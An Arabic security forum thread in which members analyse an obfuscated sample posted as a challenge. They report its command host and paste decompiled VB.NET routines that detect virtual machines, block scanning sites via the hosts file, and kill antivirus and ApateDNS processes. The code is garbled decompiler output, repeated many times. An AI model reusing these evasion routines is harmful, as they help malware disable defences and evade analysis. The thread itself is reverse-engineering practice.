• [ يمنع ] طرح أي موضوع يحوي على كراكات أو باتشات او كيجنات من غير فحصها عبر موقع فيروس توتال [ virustotal.com ] وطرح رابط الفحص ضِمن الموضوع.

تشفيره جديده وعوده العينات المشفره 10/10/2014

  • بادئ الموضوع بادئ الموضوع black007
  • تاريخ البدء تاريخ البدء
  • المشاهدات 4,472
الحالة
مغلق و غير مفتوح للمزيد من الردود.
Amr Saad قال:
:pompus::pompus:
[hide]kasperskydomen.serveftp.com[/hide]
أنقر للتوسيع...

ممتاز هذا بالفعل هو الهوست المطلوب

ولكن خد منك وقت قد ايه علشان تستخدمه وهل واجهت صعوبه فى الحصول عليه

Abdelkarim قال:
مشاهدة المرفق 65319
أنقر للتوسيع...

وماذا تستطيع ان تفعل ستدخل فى مسلسل التخمين

Ө Я Ƭ Σ G Λ قال:
IKIUng.png
أنقر للتوسيع...

راجع المشاركه 63


alaqsa-a قال:
السلام عليكم

براي ان النود هو افضلهم

فلم يسمح للملف المضغوط بفك الملف

وهذة صورة من جهازي
أنقر للتوسيع...

راجع المشاركه 63

Mohamedkhaled قال:
بارك الله فيكم .... تم التجربه علي أفاست 2015 البيتا والنتيجه كتالي:-

itARB2nENEPAx.png

النتيجه :-
ipsbYHoaMoxYN.png

iHiBclRmAkk8e.png


بالتوفيق لجميع
أنقر للتوسيع...

راجع المشاركه 63
 

توقيع : black007
Amr Saad قال:
(n)(n)
@black007
ما رأيك .. صحيح ام خطأ ؟
أنقر للتوسيع...

معذرة لم افهم ان هذا هو الهوست المطلوب
ظننته موقعا لتحليل الملفات او ما شابه تابعا لكاسبرسكي:(
 
Abdelkarim قال:
معذرة لم افهم ان هذا هو الهوست المطلوب
ظننته موقعا لتحليل الملفات او ما شابه تابعا لكاسبرسكي:(
أنقر للتوسيع...
لا عليك اخى عبدالكريم
جل من لا يسهو :)
 
توقيع : White Man
black007 قال:
ممتاز هذا بالفعل هو الهوست المطلوب

ولكن خد منك وقت قد ايه علشان تستخدمه وهل واجهت صعوبه فى الحصول عليه
أنقر للتوسيع...
:);)
الوقت مش متذكره بالضبط .. لكن حوالى 10 - 15 دقيقة
وبالنسبة للصعوبات .. نعم كان هناك صعوبات ...
منها مثلاً : لو فتحت برنامج Apate Dns قبل تشغيل الملف يظهر رسالة خطأ ويطلب ارسال التقرير الى موقع البرنامج
ولو ارسلته وبرنامج Apate Dns مفتوح لا يمكن ارساله { لان البرنامج له تأثير على النت .. يشبه البروكسى } وهكذا .
لو تمكنت سأقوم بتصوير فيديو يوضح الطريقة :)
 
توقيع : White Man
Abdelkarim قال:
معذرة لم افهم ان هذا هو الهوست المطلوب
ظننته موقعا لتحليل الملفات او ما شابه تابعا لكاسبرسكي:(
أنقر للتوسيع...

عليك الاحتراس اخى عبد الكريم حيث ان يمكن الخداع بهذا الشكل فى حال تجربتك على جدار نارى وعندما يظهر لك هذا الهوست فستظن انه تابع لشركه كاسبر
وبذلك يتم اختراقك فخذ حزرك قدر الامكان وعليك التركير جيدا

Amr Saad قال:
:);)
الوقت مش متذكره بالضبط .. لكن حوالى 10 - 15 دقيقة
وبالنسبة للصعوبات .. نعم كان هناك صعوبات ...
منها مثلاً : لو فتحت برنامج Apate Dns قبل تشغيل الملف يظهر رسالة خطأ ويطلب ارسال التقرير الى موقع البرنامج
ولو ارسلته وبرنامج Apate Dns مفتوح لا يمكن ارساله { لان البرنامج له تأثير على النت .. يشبه البروكسى } وهكذا .
لو تمكنت سأقوم بتصوير فيديو يوضح الطريقة :)
أنقر للتوسيع...

وقت قياسى وممتاز منك يعمرو
الخطاء الذى يظهر لك عند تشغيل برنامج Apate Dns مقصود وانا عانيت هذا الامر لكى يكون اصعب عن المعتاد
 
توقيع : black007
توقيع : MagicianMiDo32
الحج بلاك متوصي قوي
بيتخطى كل حاجة
الفيرشوال بوكس بمكتبة System Management
والفي أم وير كمان
[hide]
<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function




<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function

<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_100() As Boolean
Dim flag As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[2], Void*)
Dim searcher As New ManagementObjectSearcher("Select * from Win32_ComputerSystem")
Try
Dim objects As ManagementObjectCollection = Get
Try
Dim enumerator As ManagementObjectEnumerator
Try
GetEnumerator
Do While MoveNext
Dim current As ManagementBaseObject = Current
Dim str As String = Item("Manufacturer").ToString.ToLower
If Contains("vmware")) OrElse (Item("Model").ToString = "VirtualBox")) Then
MessageBox.Show("Error", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
ProjectData.EndApp
End If
Loop
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
DirectCast(SByte*) = 0
DirectCast((SByte*) = DirectCast(SByte*)
Return DirectCast((Boolean*)
End Function




<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_100() As Boolean
Dim flag As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[2], Void*)
Dim searcher As New ManagementObjectSearcher("Select * from Win32_ComputerSystem")
Try
Dim objects As ManagementObjectCollection = Get
Try
Dim enumerator As ManagementObjectEnumerator
Try
GetEnumerator
Do While MoveNext
Dim current As ManagementBaseObject = Current
Dim str As String = Item("Manufacturer").ToString.ToLower
If Contains("vmware")) OrElse (Item("Model").ToString = "VirtualBox")) Then
MessageBox.Show("Error", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
ProjectData.EndApp
End If
Loop
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
DirectCast(SByte*) = 0
DirectCast((SByte*) = DirectCast(SByte*)
Return DirectCast((Boolean*)
End Function
[/hide]


وبيحجب مواقع الفحص
[hide]
PrivateScope Shared Sub smethod_151()
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 anubis.iseclab.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 virusscan.jotti.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.virus.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.novirusthanks.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 metascan-online.com" & ChrW(13) & ChrW(10), True)
End Sub




PrivateScope Shared Sub smethod_151()
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 anubis.iseclab.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 virusscan.jotti.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.virus.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.novirusthanks.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 metascan-online.com" & ChrW(13) & ChrW(10), True)
End Sub
[/hide]


والأفج وكل برامج الحماية
[hide]
PrivateScope Shared Sub smethod_39()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub




PrivateScope Shared Sub smethod_39()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub
[/hide]
[hide]
<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function




<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function


[/hide]
والأخ
apateDNS
[hide]

PrivateScope Shared Sub smethod_93()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub




PrivateScope Shared Sub smethod_93()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub


[/hide]

ولاطشلك خوارزمياية RSA كدا فـ الحتت الصعبة

يانهار اسود
دا كل برامج الفحص هنا
مش عارف والله حفظت اسماءهم الزاي
:eek:
 
توقيع : MagicianMiDo32
medo32 قال:
كل دي تخطيات:eek:
[hide]
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

[/hide]
أنقر للتوسيع...

medo32 قال:
الحج بلاك متوصي قوي
بيتخطى كل حاجة
الفيرشوال بوكس بمكتبة System Management
والفي أم وير كمان
[hide]
<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function




<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function

<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_100() As Boolean
Dim flag As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[2], Void*)
Dim searcher As New ManagementObjectSearcher("Select * from Win32_ComputerSystem")
Try
Dim objects As ManagementObjectCollection = Get
Try
Dim enumerator As ManagementObjectEnumerator
Try
GetEnumerator
Do While MoveNext
Dim current As ManagementBaseObject = Current
Dim str As String = Item("Manufacturer").ToString.ToLower
If Contains("vmware")) OrElse (Item("Model").ToString = "VirtualBox")) Then
MessageBox.Show("Error", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
ProjectData.EndApp
End If
Loop
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
DirectCast(SByte*) = 0
DirectCast((SByte*) = DirectCast(SByte*)
Return DirectCast((Boolean*)
End Function




<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_100() As Boolean
Dim flag As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[2], Void*)
Dim searcher As New ManagementObjectSearcher("Select * from Win32_ComputerSystem")
Try
Dim objects As ManagementObjectCollection = Get
Try
Dim enumerator As ManagementObjectEnumerator
Try
GetEnumerator
Do While MoveNext
Dim current As ManagementBaseObject = Current
Dim str As String = Item("Manufacturer").ToString.ToLower
If Contains("vmware")) OrElse (Item("Model").ToString = "VirtualBox")) Then
MessageBox.Show("Error", "", MessageBoxButtons.OK, MessageBoxIcon.Hand)
ProjectData.EndApp
End If
Loop
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
Finally
If Dispose
End If
End Try
DirectCast(SByte*) = 0
DirectCast((SByte*) = DirectCast(SByte*)
Return DirectCast((Boolean*)
End Function
[/hide]


وبيحجب مواقع الفحص
[hide]
PrivateScope Shared Sub smethod_151()
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 anubis.iseclab.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 virusscan.jotti.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.virus.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.novirusthanks.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 metascan-online.com" & ChrW(13) & ChrW(10), True)
End Sub




PrivateScope Shared Sub smethod_151()
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 anubis.iseclab.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1
يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي
" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 virusscan.jotti.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.virus.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 scanner.novirusthanks.org" & ChrW(13) & ChrW(10), True)
Class2.smethod_0.FileSystem.WriteAllText("C:\WINDOWS\system32\drivers\etc\hosts", ChrW(13) & ChrW(10) & "127.0.0.1 metascan-online.com" & ChrW(13) & ChrW(10), True)
End Sub
[/hide]


والأفج وكل برامج الحماية
[hide]
PrivateScope Shared Sub smethod_39()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub




PrivateScope Shared Sub smethod_39()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub
[/hide]
[hide]
<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function




<MethodImpl(MethodImplOptions.NoOptimization)> _
PrivateScope Shared Function smethod_72() As Boolean
Dim voidPtr As Void* = DirectCast(stackalloc Byte[14], Void*)
Try
ProjectData.ClearProjectError
DirectCast(Integer*) = 2
Class45.smethod_104
Dim str As String = Class7.string_0
DirectCast((SByte*) = (SByte*) <> 0) Then
DirectCast((SByte*) = 1
Else
DirectCast((SByte*) = 0
End If
goto Label_0095
Label_0045:
ProjectData.EndApp
goto Label_0095
Label_004C:
DirectCast((Integer*) = -1
Select Case DirectCast(Integer*)
Case 0, 1
goto Label_008A
Case 2
goto Label_0045
End Select
Catch obj1 As Object When (?)
ProjectData.SetProjectError(DirectCast(Exception))
goto Label_004C
End Try
Label_008A:
Throw ProjectData.CreateProjectError(-2146828237)
Label_0095:
If (DirectCast((Integer*) = 0) Then
Return DirectCast((Boolean*)
End If
ProjectData.ClearProjectError
Dim flag As Boolean = DirectCast((Boolean*)
End Function


[/hide]
والأخ
apateDNS
[hide]

PrivateScope Shared Sub smethod_93()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub




PrivateScope Shared Sub smethod_93()
Dim voidPtr As Void* = DirectCast(stackalloc Byte[13], Void*)
Dim processes As Process() = Process.GetProcesses
DirectCast((Integer*) = (Length - 1)
DirectCast(Integer*) = 0
Do While True
DirectCast((Integer*) = DirectCast((Integer*)
If (DirectCast(Integer*) > DirectCast((Integer*)) Then
Return
End If
Dim str As String = Strings.LCase(Integer*)).ProcessName)
DirectCast((SByte*) = (SByte*) <> 0) Then
Integer*)).Kill
End If
DirectCast(Integer*) += 1
Loop
End Sub


[/hide]

ولاطشلك خوارزمياية RSA كدا فـ الحتت الصعبة

يانهار اسود
دا كل برامج الفحص هنا
مش عارف والله حفظت اسماءهم الزاي
:eek:
أنقر للتوسيع...

هههههههههه انت لسه شفت حاجه ياعم ميدو

امال هتعمل ايه فى ملف المسابقه دانت هتشوف فيها العجب انتظر اول الشهر ان شاء الله ورينا همتك يابطل
 
توقيع : black007
black007 قال:
هههههههههه انت لسه شفت حاجه ياعم ميدو

امال هتعمل ايه فى ملف المسابقه دانت هتشوف فيها العجب انتظر اول الشهر ان شاء الله ورينا همتك يابطل
أنقر للتوسيع...
يانهار اسود:dead:
 
توقيع : MagicianMiDo32
الحالة
مغلق و غير مفتوح للمزيد من الردود.
عودة
أعلى